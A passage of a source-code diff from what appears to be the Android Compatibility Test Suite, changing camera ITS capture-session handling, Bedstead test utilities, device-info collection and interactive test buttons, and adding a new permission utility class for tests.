@@ -2561,7 +2575,7 @@ public class ItsService extends Service implements SensorEventListener {
int recordingDuration, boolean stabilize, double zoomRatio,
int aeTargetFpsMin, int aeTargetFpsMax)
throws ItsException {
-
+ ScalerCropRegionListener scalerCropRegionListener = new ScalerCropRegionListener();
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.TIRAMISU) {
throw new ItsException("Cannot record preview before API level 33");
}
@@ -2591,7 +2605,8 @@ public class ItsService extends Service implements SensorEventListener {
: CaptureRequest.CONTROL_VIDEO_STABILIZATION_MODE_OFF;
configureAndCreateCaptureSession(CameraDevice.TEMPLATE_PREVIEW,
pr.getCameraSurface(), stabilizationMode, DynamicRangeProfiles.STANDARD,
- /*callback=*/ null, zoomRatio, aeTargetFpsMin, aeTargetFpsMax);
+ /*stateCallback=*/ null, zoomRatio, aeTargetFpsMin, aeTargetFpsMax,
+ scalerCropRegionListener);
pr.recordPreview(recordingDuration * 1000L);
mSession.close();
} catch (CameraAccessException e) {
@@ -2602,6 +2617,8 @@ public class ItsService extends Service implements SensorEventListener {
// Send VideoRecordingObject for further processing.
VideoRecordingObject obj = new VideoRecordingObject(outputFilePath, /* quality= */"preview",
videoSize, fileFormat, zoomRatio);
+ obj.addMetadata("SCALER_CROP_REGION",
+ scalerCropRegionListener.mScalerCropRegion.flattenToString());
mSocketRunnableObj.sendVideoRecordingObject(obj);
}
@@ -2633,16 +2650,21 @@ public class ItsService extends Service implements SensorEventListener {
private Surface configureAndCreateExtensionSession(
Surface captureSurface,
int extension,
- CameraExtensionSession.StateCallback stateCallback) throws ItsException {
+ CameraExtensionSession.StateCallback stateCallback,
+ boolean has10bitOutput) throws ItsException {
int captureWidth = mOutputImageReaders[0].getWidth();
int captureHeight = mOutputImageReaders[0].getHeight();
Size captureSize = new Size(captureWidth, captureHeight);
Log.i(TAG, "Capture size: " + captureSize.toString());
ArrayList outputConfig = new ArrayList<>();
- SurfaceTexture preview = new SurfaceTexture(/*random int*/ 1);
Size previewSize = pickPreviewResolution(captureSize, extension);
- preview.setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
- Surface previewSurface = new Surface(preview);
+ mExtensionPreviewImageReader = ImageReader.newInstance(
+ previewSize.getWidth(),
+ previewSize.getHeight(),
+ ImageFormat.PRIVATE,
+ MAX_CONCURRENT_READER_BUFFERS,
+ HardwareBuffer.USAGE_CPU_READ_OFTEN | HardwareBuffer.USAGE_COMPOSER_OVERLAY);
+ Surface previewSurface = mExtensionPreviewImageReader.getSurface();
outputConfig.add(new OutputConfiguration(captureSurface));
outputConfig.add(new OutputConfiguration(previewSurface));
ExtensionSessionConfiguration extSessionConfig = new ExtensionSessionConfiguration(
@@ -2661,7 +2683,8 @@ public class ItsService extends Service implements SensorEventListener {
private void configureAndCreateCaptureSession(int requestTemplate, Surface recordSurface,
int videoStabilizationMode, long dynamicRangeProfile,
CameraCaptureSession.StateCallback stateCallback,
- double zoomRatio, int aeTargetFpsMin, int aeTargetFpsMax) throws CameraAccessException {
+ double zoomRatio, int aeTargetFpsMin, int aeTargetFpsMax,
+ CameraCaptureSession.CaptureCallback captureCallback) throws CameraAccessException {
assert (recordSurface != null);
// Create capture request builder
mCaptureRequestBuilder = mCamera.createCaptureRequest(requestTemplate);
@@ -2713,7 +2736,8 @@ public class ItsService extends Service implements SensorEventListener {
public void onConfigured(CameraCaptureSession session) {
mSession = session;
try {
- mSession.setRepeatingRequest(mCaptureRequestBuilder.build(), null, null);
+ mSession.setRepeatingRequest(mCaptureRequestBuilder.build(),
+ captureCallback, mResultHandler);
} catch (CameraAccessException e) {
e.printStackTrace();
}
@@ -2924,28 +2948,33 @@ public class ItsService extends Service implements SensorEventListener {
JSONArray jsonOutputSpecs = ItsUtils.getOutputSpecs(params);
- prepareImageReadersWithOutputSpecs(jsonOutputSpecs, /*inputSize*/null,
- /*inputFormat*/0, /*maxInputBuffers*/0, /*backgroundRequest*/ false);
+ boolean has10bitOutput = prepareImageReadersWithOutputSpecs(jsonOutputSpecs,
+ /*inputSize*/null, /*inputFormat*/0, /*maxInputBuffers*/0,
+ /*backgroundRequest*/ false);
numSurfaces = mOutputImageReaders.length;
numCaptureSurfaces = numSurfaces;
Surface previewSurface = configureAndCreateExtensionSession(
mOutputImageReaders[0].getSurface(),
extension,
- sessionListener);
+ sessionListener,
+ has10bitOutput);
mExtensionSession = sessionListener.waitAndGetSession(TIMEOUT_IDLE_MS);
CaptureRequest.Builder captureBuilder = requests.get(0);
if (params.optBoolean("waitAE", true)) {
- // Set repeating request and wait for AE convergence.
+ if (mExtensionPreviewImageReader == null) {
+ throw new ItsException("Preview ImageReader has not been initialized!");
+ }
+ // Set repeating request and wait for AE convergence, using another ImageReader.
Logt.i(TAG, "Waiting for AE to converge before taking extensions capture.");
- captureBuilder.addTarget(previewSurface);
+ captureBuilder.addTarget(mExtensionPreviewImageReader.getSurface());
ImageReader.OnImageAvailableListener dropperListener =
createAvailableListenerDropper();
- mOutputImageReaders[0].setOnImageAvailableListener(dropperListener,
- mSaveHandlers[0]);
+ mExtensionPreviewImageReader.setOnImageAvailableListener(dropperListener,
+ mSaveHandlers[0]);
mExtensionSession.setRepeatingRequest(captureBuilder.build(),
new HandlerExecutor(mResultHandler),
mExtAEResultListener);
@@ -2953,7 +2982,7 @@ public class ItsService extends Service implements SensorEventListener {
long timeout = TIMEOUT_CALLBACK * 1000;
waitForCallbacks(timeout);
mExtensionSession.stopRepeating();
- captureBuilder.removeTarget(previewSurface);
+ captureBuilder.removeTarget(mExtensionPreviewImageReader.getSurface());
mResultThread.sleep(PIPELINE_WARMUP_TIME_MS);
}
@@ -2969,6 +2998,11 @@ public class ItsService extends Service implements SensorEventListener {
long timeout = TIMEOUT_CALLBACK * 1000;
waitForCallbacks(timeout);
+ if (mExtensionPreviewImageReader != null) {
+ mExtensionPreviewImageReader.close();
+ mExtensionPreviewImageReader = null;
+ }
+
// Close session and wait until session is fully closed
mExtensionSession.close();
sessionListener.getStateWaiter().waitForState(
@@ -3669,6 +3703,41 @@ public class ItsService extends Service implements SensorEventListener {
}
}
+ private class ScalerCropRegionListener extends CaptureResultListener {
+ private volatile Rect mScalerCropRegion = null;
+
+ @Override
+ public void onCaptureStarted(CameraCaptureSession session, CaptureRequest request,
+ long timestamp, long frameNumber) {
+ }
+
+ @Override
+ public void onCaptureCompleted(CameraCaptureSession session, CaptureRequest request,
+ TotalCaptureResult result) {
+ try {
+ if (request == null || result == null) {
+ throw new ItsException("Request/Result is invalid");
+ }
+
+ Logt.i(TAG, buildLogString(result));
+
+ if (result.get(CaptureResult.SCALER_CROP_REGION) != null) {
+ mScalerCropRegion = result.get(CaptureResult.SCALER_CROP_REGION);
+ }
+
+ } catch (ItsException e) {
+ throw new ItsRuntimeException("Error handling capture result", e);
+ }
+ }
+
+ @Override
+ public void onCaptureFailed(CameraCaptureSession session, CaptureRequest request,
+ CaptureFailure failure) {
+ Logt.e(TAG, "Script error: capture failed");
+ }
+
+ }
+
private class AutoframingResultListener extends CaptureResultListener {
private volatile boolean mStopped = false;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index a6977732edd..8f3d0258ba8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -636,7 +636,7 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct
}
// setUsbDataSignalingEnabled
- if (canUsbDataSignalingBeDisabled()) {
+ if (!FeatureUtil.isTelevision(this) && canUsbDataSignalingBeDisabled()) {
adapter.add(createInteractiveTestItem(this, DISABLE_USB_DATA_SIGNALING_TEST_ID,
R.string.device_owner_disable_usb_data_signaling_test,
R.string.device_owner_disable_usb_data_signaling_test_info,
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
index 23919f34fcc..e0f53be0392 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
@@ -61,6 +61,7 @@ import com.android.queryable.annotations.Query;
import com.google.auto.value.AutoAnnotation;
import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.ImmutableSet;
import org.junit.Test;
import org.junit.rules.TestRule;
@@ -693,7 +694,7 @@ public final class BedsteadJUnit4 extends BlockJUnit4ClassRunner {
}
if (enterprisePolicy.delegatedScopes().length > 0) {
- Set<String> newDelegatedScopes = Set.of(enterprisePolicy.delegatedScopes());
+ ImmutableSet<String> newDelegatedScopes = ImmutableSet.copyOf(enterprisePolicy.delegatedScopes());
if (!delegatedScopes.isEmpty()
&& !delegatedScopes.containsAll(newDelegatedScopes)) {
throw new IllegalStateException("Cannot merge multiple policies which define "
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index ddfc0cd303c..1e6bdbe8ab8 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -4030,14 +4030,14 @@ public final class DeviceState extends HarrierRule {
.findFirst();
if (account.isPresent()) {
- accounts(onUser).setFeatures(account.get(), Set.of(features));
+ accounts(onUser).setFeatures(account.get(), new HashSet<>(Arrays.asList(features)));
mAccounts.put(key, account.get());
TestApis.devicePolicy().calculateHasIncompatibleAccounts();
return account.get();
}
AccountReference createdAccount = accounts(onUser).addAccount()
- .features(Set.of(features))
+ .features(new HashSet<>(Arrays.asList(features)))
.add();
mCreatedAccounts.add(createdAccount);
mAccounts.put(key, createdAccount);
@@ -4182,7 +4182,7 @@ public final class DeviceState extends HarrierRule {
private boolean trySetUserRestrictionWithDeviceOwner(String restriction) {
ensureHasDeviceOwner(FailureMode.FAIL,
/* isPrimary= */ false, EnsureHasDeviceOwner.HeadlessDeviceOwnerType.NONE,
- /* affiliationIds= */ Set.of(), /* type= */ DeviceOwnerType.DEFAULT,
+ /* affiliationIds= */ new HashSet<>(), /* type= */ DeviceOwnerType.DEFAULT,
EnsureHasDeviceOwner.DEFAULT_KEY, new TestAppProvider().query());
RemotePolicyManager dpc = deviceOwner();
@@ -4200,7 +4200,7 @@ public final class DeviceState extends HarrierRule {
private boolean trySetUserRestrictionWithProfileOwner(UserReference onUser, String restriction) {
ensureHasProfileOwner(onUser,
/* isPrimary= */ false, /* isParentInstance= */ false,
- /* affiliationIds= */ Set.of(), EnsureHasProfileOwner.DEFAULT_KEY,
+ /* affiliationIds= */ new HashSet<>(), EnsureHasProfileOwner.DEFAULT_KEY,
new TestAppProvider().query());
RemotePolicyManager dpc = profileOwner(onUser);
@@ -4218,7 +4218,7 @@ public final class DeviceState extends HarrierRule {
private boolean tryClearUserRestrictionWithDeviceOwner(String restriction) {
ensureHasDeviceOwner(FailureMode.FAIL,
/* isPrimary= */ false, EnsureHasDeviceOwner.HeadlessDeviceOwnerType.NONE,
- /* affiliationIds= */ Set.of(), /* type= */ DeviceOwnerType.DEFAULT,
+ /* affiliationIds= */ new HashSet<>(), /* type= */ DeviceOwnerType.DEFAULT,
EnsureHasDeviceOwner.DEFAULT_KEY, new TestAppProvider().query());
RemotePolicyManager dpc = deviceOwner();
@@ -4236,7 +4236,7 @@ public final class DeviceState extends HarrierRule {
private boolean tryClearUserRestrictionWithProfileOwner(UserReference onUser, String restriction) {
ensureHasProfileOwner(onUser,
/* isPrimary= */ false, /* isParentInstance= */ false,
- /* affiliationIds= */ Set.of(), EnsureHasProfileOwner.DEFAULT_KEY,
+ /* affiliationIds= */ new HashSet<>(), EnsureHasProfileOwner.DEFAULT_KEY,
new TestAppProvider().query());
RemotePolicyManager dpc = profileOwner(onUser);
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
index c519b7ac862..a63932d617a 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
@@ -439,11 +439,11 @@ public final class Policy {
existingAnnotations.length + 1);
newAnnotations[newAnnotations.length - 1] = ensureHasDevicePolicyManagerRoleHolder(
roleHolderUser, /* isPrimary= */ true);
- return Set.of(annotation,
+ return new HashSet<>(Arrays.asList(annotation,
new DynamicParameterizedAnnotation(
annotation.annotationType().getSimpleName() + "_DPMRH",
newAnnotations
- ));
+ )));
};
}
@@ -894,7 +894,7 @@ public final class Policy {
for (Annotation annotation : annotations) {
shadowingAnnotations.addAll(
- sReverseShadowMap.getOrDefault(annotation.annotationType(), Set.of()));
+ sReverseShadowMap.getOrDefault(annotation.annotationType(), new HashSet<>()));
}
annotations.removeIf(a -> shadowingAnnotations.contains(a.annotationType()));
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/accounts/AccountBuilder.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/accounts/AccountBuilder.java
index 0a4930f930c..26b2127757c 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/accounts/AccountBuilder.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/accounts/AccountBuilder.java
@@ -25,6 +25,7 @@ import com.android.bedstead.nene.utils.Poll;
import java.io.IOException;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;
import java.util.UUID;
@@ -102,7 +103,7 @@ public final class AccountBuilder {
* Add features to the account.
*/
public AccountBuilder addFeatures(String... feature) {
- mFeatures.addAll(Set.of(feature));
+ mFeatures.addAll(new HashSet<>(Arrays.asList(feature)));
return this;
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
index 9c257af607f..8406a80b440 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
@@ -59,6 +59,7 @@ import com.android.bedstead.nene.utils.Versions;
import java.time.Duration;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.Collection;
import java.util.Comparator;
import java.util.HashMap;
@@ -338,7 +339,7 @@ public final class Users {
private UserType managedProfileUserType() {
UserType.MutableUserType managedProfileMutableUserType = new UserType.MutableUserType();
managedProfileMutableUserType.mName = MANAGED_PROFILE_TYPE_NAME;
- managedProfileMutableUserType.mBaseType = Set.of(UserType.BaseType.PROFILE);
+ managedProfileMutableUserType.mBaseType = new HashSet<>(Arrays.asList(UserType.BaseType.PROFILE));
managedProfileMutableUserType.mEnabled = true;
managedProfileMutableUserType.mMaxAllowed = -1;
managedProfileMutableUserType.mMaxAllowedPerParent = 1;
@@ -349,7 +350,7 @@ public final class Users {
UserType.MutableUserType managedProfileMutableUserType = new UserType.MutableUserType();
managedProfileMutableUserType.mName = SYSTEM_USER_TYPE_NAME;
managedProfileMutableUserType.mBaseType =
- Set.of(UserType.BaseType.FULL, UserType.BaseType.SYSTEM);
+ new HashSet<>(Arrays.asList(UserType.BaseType.FULL, UserType.BaseType.SYSTEM));
managedProfileMutableUserType.mEnabled = true;
managedProfileMutableUserType.mMaxAllowed = -1;
managedProfileMutableUserType.mMaxAllowedPerParent = -1;
@@ -359,7 +360,7 @@ public final class Users {
private UserType secondaryUserType() {
UserType.MutableUserType managedProfileMutableUserType = new UserType.MutableUserType();
managedProfileMutableUserType.mName = SECONDARY_USER_TYPE_NAME;
- managedProfileMutableUserType.mBaseType = Set.of(UserType.BaseType.FULL);
+ managedProfileMutableUserType.mBaseType = new HashSet<>(Arrays.asList(UserType.BaseType.FULL));
managedProfileMutableUserType.mEnabled = true;
managedProfileMutableUserType.mMaxAllowed = -1;
managedProfileMutableUserType.mMaxAllowedPerParent = -1;
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTypeTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTypeTest.java
index d05e0914027..603bdaa3f22 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTypeTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTypeTest.java
@@ -22,6 +22,8 @@ import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
+import java.util.Arrays;
+import java.util.HashSet;
import java.util.Set;
@RunWith(JUnit4.class)
@@ -50,7 +52,7 @@ public class UserTypeTest {
@Test
public void baseType_returnsBaseType() {
UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
- mutableUserType.mBaseType = Set.of(UserType.BaseType.FULL);
+ mutableUserType.mBaseType = new HashSet<>(Arrays.asList(UserType.BaseType.FULL));
UserType userType = new UserType(mutableUserType);
assertThat(userType.baseType()).containsExactly(UserType.BaseType.FULL);
diff --git a/common/device-side/bedstead/remoteaccountauthenticator/src/main/java/com/android/bedstead/remoteaccountauthenticator/RemoteAccountAuthenticator.java b/common/device-side/bedstead/remoteaccountauthenticator/src/main/java/com/android/bedstead/remoteaccountauthenticator/RemoteAccountAuthenticator.java
index 9c813c15dc6..47caa4df661 100644
--- a/common/device-side/bedstead/remoteaccountauthenticator/src/main/java/com/android/bedstead/remoteaccountauthenticator/RemoteAccountAuthenticator.java
+++ b/common/device-side/bedstead/remoteaccountauthenticator/src/main/java/com/android/bedstead/remoteaccountauthenticator/RemoteAccountAuthenticator.java
@@ -31,6 +31,8 @@ import com.android.bedstead.testapp.TestAppProvider;
import java.io.IOException;
import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
import java.util.Set;
import java.util.stream.Collectors;
import java.util.stream.Stream;
@@ -42,9 +44,9 @@ import java.util.stream.Stream;
public final class RemoteAccountAuthenticator extends TestAppInstance {
// TODO(263350665): Query account types from xml
- private static final Set<String> ACCOUNT_TYPES = Set.of(
+ private static final Set<String> ACCOUNT_TYPES = new HashSet<>(Arrays.asList(
"com.android.bedstead.remoteaccountauthenticator.account"
- );
+ ));
private static final String REMOTE_ACCOUNT_AUTHENTICATOR_PACKAGE_NAME =
"com.android.RemoteAccountAuthenticator";
diff --git a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAccountAuthenticator.java b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAccountAuthenticator.java
index 558215ee20b..6ed639d119e 100644
--- a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAccountAuthenticator.java
+++ b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAccountAuthenticator.java
@@ -26,6 +26,7 @@ import android.os.Bundle;
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.HashSet;
import java.util.Set;
/**
@@ -132,7 +133,7 @@ public final class TestAppAccountAuthenticator extends AbstractAccountAuthentica
hasFeatures = false;
} else {
hasFeatures = Arrays.asList(accountManager.getUserData(account, "features")
- .split(",")).containsAll(Set.of(features));
+ .split(",")).containsAll(new HashSet<>(Arrays.asList(features)));
}
Bundle result = new Bundle();
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/ScreenDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/ScreenDeviceInfo.java
index a44127474fc..20ddca1b778 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/ScreenDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/ScreenDeviceInfo.java
@@ -18,17 +18,23 @@ package com.android.compatibility.common.deviceinfo;
import android.app.Activity;
import android.content.Context;
import android.content.res.Configuration;
+import android.hardware.devicestate.DeviceStateManager;
+import android.os.Build;
import android.os.Bundle;
-import android.server.wm.jetpack.utils.SidecarUtil;
import android.server.wm.jetpack.utils.ExtensionUtil;
+import android.server.wm.jetpack.utils.SidecarUtil;
import android.server.wm.jetpack.utils.Version;
import android.util.DisplayMetrics;
import android.view.Display;
import android.view.WindowManager;
+import androidx.annotation.RequiresApi;
+
import com.android.compatibility.common.util.DeviceInfoStore;
import com.android.compatibility.common.util.DummyActivity;
+import java.io.IOException;
+
/**
* Screen device info collector.
*/
@@ -39,6 +45,7 @@ public final class ScreenDeviceInfo extends DeviceInfo {
DisplayMetrics metrics = new DisplayMetrics();
WindowManager windowManager =
(WindowManager) getContext().getSystemService(Context.WINDOW_SERVICE);
+
Display display = windowManager.getDefaultDisplay();
display.getRealMetrics(metrics);
@@ -55,6 +62,11 @@ public final class ScreenDeviceInfo extends DeviceInfo {
// Add WindowManager Jetpack Library version and available display features.
addDisplayFeaturesIfPresent(store);
+
+ // Add device states from DeviceStateManager if available.
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
+ addDeviceStatesIfAvailable(store);
+ }
}
private void addDisplayFeaturesIfPresent(DeviceInfoStore store) throws Exception {
@@ -85,6 +97,17 @@ public final class ScreenDeviceInfo extends DeviceInfo {
}
}
+ @RequiresApi(Build.VERSION_CODES.S)
+ private void addDeviceStatesIfAvailable(DeviceInfoStore store) throws IOException {
+ DeviceStateManager deviceStateManager = getContext().getSystemService(
+ DeviceStateManager.class);
+
+ // Get the supported device states on device if DeviceStateManager is available
+ if (deviceStateManager != null) {
+ store.addArrayResult("device_states", deviceStateManager.getSupportedStates());
+ }
+ }
+
private static String getScreenSize(Configuration configuration) {
int screenLayout = configuration.screenLayout & Configuration.SCREENLAYOUT_SIZE_MASK;
String screenSize = String.format("0x%x", screenLayout);
diff --git a/common/device-side/interactive/src/main/java/com/android/interactive/Step.java b/common/device-side/interactive/src/main/java/com/android/interactive/Step.java
index abe25f18aac..faf347d571f 100644
--- a/common/device-side/interactive/src/main/java/com/android/interactive/Step.java
+++ b/common/device-side/interactive/src/main/java/com/android/interactive/Step.java
@@ -22,6 +22,8 @@ import static com.android.bedstead.nene.permissions.CommonPermissions.SYSTEM_APP
import static com.android.interactive.Automator.AUTOMATION_FILE;
import android.graphics.PixelFormat;
+import android.os.Handler;
+import android.os.Looper;
import android.util.Log;
import android.view.Gravity;
import android.view.LayoutInflater;
@@ -247,27 +249,32 @@ public abstract class Step<E> {
* Adds a button to the interaction prompt.
*/
protected void addButton(String title, Runnable onClick) {
- Button btn = new Button(TestApis.context().instrumentedContext());
- btn.setText(title);
- btn.setOnClickListener(v -> onClick.run());
-
- GridLayout layout = mInstructionView.findViewById(R.id.buttons);
- layout.addView(btn);
+ // Push to UI thread to avoid animation issues when adding the button
+ new Handler(Looper.getMainLooper()).post(() -> {
+ Button btn = new Button(TestApis.context().instrumentedContext());
+ btn.setText(title);
+ btn.setOnClickListener(v -> onClick.run());
+
+ GridLayout layout = mInstructionView.findViewById(R.id.buttons);
+ layout.addView(btn);
+ });
}
/**
* Adds small button with a single up/down arrow, used for moving the text box to the
* bottom of the screen in case it covers some critical area of the app
*/
-
protected void addSwapButton() {
- Button btn = new Button(TestApis.context().instrumentedContext());
- // up/down arrow
- btn.setText("\u21F5");
- btn.setOnClickListener(v -> swap());
-
- GridLayout layout = mInstructionView.findViewById(R.id.buttons);
- layout.addView(btn);
+ // Push to UI thread to avoid animation issues when adding the button
+ new Handler(Looper.getMainLooper()).post(() -> {
+ Button btn = new Button(TestApis.context().instrumentedContext());
+ // up/down arrow
+ btn.setText("\u21F5");
+ btn.setOnClickListener(v -> swap());
+
+ GridLayout layout = mInstructionView.findViewById(R.id.buttons);
+ layout.addView(btn);
+ });
}
/**
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
index 9b82b4d71e1..1470f45be39 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
@@ -116,8 +116,9 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
addSplitFromNonDangerousPermissions(packagesToVerify, pregrantUidStates);
}
- if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)
- || ApiLevelUtil.codenameStartsWith("T")) {
+ if ((ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)
+ || ApiLevelUtil.codenameStartsWith("T"))
+ && runtimePermNames.contains(Manifest.permission.POST_NOTIFICATIONS)) {
addImplicitlyGrantedPermission(Manifest.permission.POST_NOTIFICATIONS,
Build.VERSION_CODES.TIRAMISU, packagesToVerify, pregrantUidStates);
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PermissionUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PermissionUtils.java
new file mode 100644
index 00000000000..26f60560ce8
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PermissionUtils.java
@@ -0,0 +1,309 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.MODE_IGNORED;
+import static android.app.AppOpsManager.permissionToOp;
+import static android.content.pm.PackageManager.GET_PERMISSIONS;
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.Manifest;
+import android.annotation.TargetApi;
+import android.app.AppOpsManager;
+import android.app.UiAutomation;
+import android.app.role.RoleManager;
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Assert;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Locale;
+
+/**
+ * Utility methods for permission-related functionality.
+ */
+public final class PermissionUtils {
+ private static final UiAutomation sUiAutomation =
+ InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ private static final String PLATFORM_PACKAGE_NAME = "android";
+
+ private static final String LOG_TAG = "PermissionUtils";
+
+ /**
+ * Checks if a permission is granted for a package.
+ *
+ * <p>This correctly handles pre-M apps by checking the app-ops instead.</p>
+ *
+ * @param packageName The package that might have the permission granted
+ * @param permission The permission that might be granted
+ * @return {@code true} iff the permission and app op are granted
+ */
+ public static boolean isPermissionAndAppOpGranted(@NonNull String packageName,
+ @NonNull String permission) throws Exception {
+ if (!isPermissionGranted(packageName, permission)) {
+ return false;
+ }
+ return getAppOp(packageName, permission) != MODE_IGNORED;
+ }
+
+ /**
+ * Grant a permission to an app.
+ *
+ * <p>This correctly handles pre-M apps by setting the app-ops.</p>
+ *
+ * @param packageName The app that should have the permission granted
+ * @param permission The permission to grant
+ */
+ @TargetApi(28)
+ public static void grantPermissionAndAppOp(@NonNull String packageName,
+ @NonNull String permission) {
+ sUiAutomation.grantRuntimePermission(packageName, permission);
+
+ setAppOpByPermission(packageName, permission, MODE_ALLOWED);
+ }
+
+ /**
+ * Revoke a permission from an app.
+ *
+ * <p>This correctly handles pre-M apps by setting the app-ops.</p>
+ *
+ * @param packageName The app that should have the permission revoked
+ * @param permission The permission to revoke
+ */
+ @TargetApi(28)
+ public static void revokePermissionAndAppOp(@NonNull String packageName,
+ @NonNull String permission) {
+ sUiAutomation.revokeRuntimePermission(packageName, permission);
+
+ setAppOpByPermission(packageName, permission, MODE_IGNORED);
+ }
+
+ /**
+ * Get all permissions an app requests. This includes the split permissions.
+ *
+ * @param packageName The package that requests the permissions.
+ * @return The permissions requested by the app
+ */
+ @NonNull
+ public static List<String> getPermissions(@NonNull String packageName)
+ throws Exception {
+ PackageInfo appInfo = getTargetContext().getPackageManager().getPackageInfo(packageName,
+ GET_PERMISSIONS);
+
+ return appInfo.requestedPermissions == null
+ ? Collections.emptyList()
+ : Arrays.asList(appInfo.requestedPermissions);
+ }
+
+ // Enforce non instantiability with a private constructor
+ private PermissionUtils() {
+ }
+
+ /**
+ * Get the state of an app-op.
+ *
+ * @param packageName The package for which the app-op is retrieved
+ * @param permission The permission to which the app-op is associated
+ * @return the app-op mode
+ */
+ @TargetApi(29)
+ private static int getAppOp(@NonNull String packageName, @NonNull String permission)
+ throws Exception {
+ return callWithShellPermissionIdentity(
+ () -> getTargetContext().getSystemService(AppOpsManager.class).unsafeCheckOpRaw(
+ permissionToOp(permission),
+ getTargetContext().getPackageManager().getPackageUid(
+ packageName, 0), packageName));
+ }
+
+ /**
